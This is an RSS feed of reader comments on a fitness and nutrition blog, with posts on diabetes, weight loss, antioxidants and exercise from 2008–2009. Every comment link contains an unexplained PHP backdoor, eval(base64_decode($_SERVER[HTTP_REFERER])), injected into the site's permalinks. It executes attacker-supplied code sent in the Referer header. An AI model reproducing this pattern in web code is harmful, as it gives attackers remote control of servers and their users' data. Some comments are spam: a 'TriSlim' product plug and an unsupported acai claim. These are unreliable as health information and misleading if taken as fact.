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	<title>Comments for Fit, Healthy Self Blog</title>
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	<link>http://fithealthyself.com/blog</link>
	<description>Better fitness, better nutrition, better life!</description>
	<pubDate>Thu, 11 Mar 2010 09:13:31 +0000</pubDate>
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		<title>Comment on Learn How to Avoid Type 2 Diabetes by Jessica</title>
		<link>http://fithealthyself.com/blog/2008/08/06/learn-how-to-avoid-type-2-diabetes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-540</link>
		<dc:creator>Jessica</dc:creator>
		<pubDate>Wed, 25 Mar 2009 15:34:44 +0000</pubDate>
		<guid isPermaLink="false">http://fithealthyself.com/blog/?p=18#comment-540</guid>
		<description>Well said, finally a good report on this stuff</description>
		<content:encoded><![CDATA[<p>Well said, finally a good report on this stuff</p>
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		<title>Comment on Healthy Recipes for Weight Loss by TriSlim</title>
		<link>http://fithealthyself.com/blog/2008/08/12/healthy-recipes-for-weight-loss/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-539</link>
		<dc:creator>TriSlim</dc:creator>
		<pubDate>Tue, 10 Mar 2009 21:50:30 +0000</pubDate>
		<guid isPermaLink="false">http://fithealthyself.com/blog/?p=31#comment-539</guid>
		<description>This was a great read, thanks. I love reading about weight loss tips, stories, and general info. It has always been a hobby of mine. Also, if anyone is interested, I recommend trying TriSlim to lose weight. It's working great for me.</description>
		<content:encoded><![CDATA[<p>This was a great read, thanks. I love reading about weight loss tips, stories, and general info. It has always been a hobby of mine. Also, if anyone is interested, I recommend trying TriSlim to lose weight. It&#8217;s working great for me.</p>
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		<title>Comment on American Heart Association Revised Exercise Guidelines by Rafe</title>
		<link>http://fithealthyself.com/blog/2008/09/15/american-heart-association-revised-exercise-guidelines/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-537</link>
		<dc:creator>Rafe</dc:creator>
		<pubDate>Mon, 02 Mar 2009 02:42:25 +0000</pubDate>
		<guid isPermaLink="false">http://fithealthyself.com/blog/?p=76#comment-537</guid>
		<description>commenting usually isnt my thing, but ive spent an hour on the site, so thanks for the info</description>
		<content:encoded><![CDATA[<p>commenting usually isnt my thing, but ive spent an hour on the site, so thanks for the info</p>
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		<title>Comment on Learn How to Avoid Type 2 Diabetes by PharmacistMike</title>
		<link>http://fithealthyself.com/blog/2008/08/06/learn-how-to-avoid-type-2-diabetes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-166</link>
		<dc:creator>PharmacistMike</dc:creator>
		<pubDate>Thu, 07 Aug 2008 15:12:11 +0000</pubDate>
		<guid isPermaLink="false">http://fithealthyself.com/blog/?p=18#comment-166</guid>
		<description>For those that may not have the best insurance coverage there are cholesterol tests that can be used at home. They are available at some pharmacies and online home health screening companies. One needs to be sure that they measure more than just total cholesterol but also measure LDL, HDL and triglycerides. A copy of the results can always be sent to the physician.</description>
		<content:encoded><![CDATA[<p>For those that may not have the best insurance coverage there are cholesterol tests that can be used at home. They are available at some pharmacies and online home health screening companies. One needs to be sure that they measure more than just total cholesterol but also measure LDL, HDL and triglycerides. A copy of the results can always be sent to the physician.</p>
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		<title>Comment on Using Antioxidants For a Healthier You by Juicer</title>
		<link>http://fithealthyself.com/blog/2008/06/26/using-antioxidants-for-a-healthier-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-160</link>
		<dc:creator>Juicer</dc:creator>
		<pubDate>Thu, 31 Jul 2008 19:38:57 +0000</pubDate>
		<guid isPermaLink="false">http://fithealthyself.com/blog/?p=9#comment-160</guid>
		<description>Dr. Strauss, who was the first person to run an ORAC evaluation on Acai berries and has found that Acai has the richest Antioxidant of any food in the world.</description>
		<content:encoded><![CDATA[<p>Dr. Strauss, who was the first person to run an ORAC evaluation on Acai berries and has found that Acai has the richest Antioxidant of any food in the world.</p>
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		<title>Comment on How to escape Alzheimers Disease (hopefully). Aerobic activity! by Daniel</title>
		<link>http://fithealthyself.com/blog/2008/06/04/how-to-escape-alzheimers-disease-hopefully-aerobic-activity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-64</link>
		<dc:creator>Daniel</dc:creator>
		<pubDate>Wed, 16 Jul 2008 10:44:33 +0000</pubDate>
		<guid isPermaLink="false">http://fithealthyself.com/blog/?p=4#comment-64</guid>
		<description>I read similar article also named How to escape Alzheimers Disease (hopefully). Aerobic activity!, and it was completely different. Personally, I agree with you more, because this article makes a little bit more sense for me</description>
		<content:encoded><![CDATA[<p>I read similar article also named How to escape Alzheimers Disease (hopefully). Aerobic activity!, and it was completely different. Personally, I agree with you more, because this article makes a little bit more sense for me</p>
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		<title>Comment on Using Antioxidants For a Healthier You by Lana Hawkins</title>
		<link>http://fithealthyself.com/blog/2008/06/26/using-antioxidants-for-a-healthier-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3</link>
		<dc:creator>Lana Hawkins</dc:creator>
		<pubDate>Thu, 26 Jun 2008 14:37:49 +0000</pubDate>
		<guid isPermaLink="false">http://fithealthyself.com/blog/?p=9#comment-3</guid>
		<description>Thanks Tom.  I'll be writing frequently.</description>
		<content:encoded><![CDATA[<p>Thanks Tom.  I&#8217;ll be writing frequently.</p>
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		<title>Comment on Using Antioxidants For a Healthier You by Tom Humes</title>
		<link>http://fithealthyself.com/blog/2008/06/26/using-antioxidants-for-a-healthier-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-2</link>
		<dc:creator>Tom Humes</dc:creator>
		<pubDate>Thu, 26 Jun 2008 14:33:10 +0000</pubDate>
		<guid isPermaLink="false">http://fithealthyself.com/blog/?p=9#comment-2</guid>
		<description>Nice Site layout for your blog. I am looking forward to reading more from you.

Tom Humes</description>
		<content:encoded><![CDATA[<p>Nice Site layout for your blog. I am looking forward to reading more from you.</p>
<p>Tom Humes</p>
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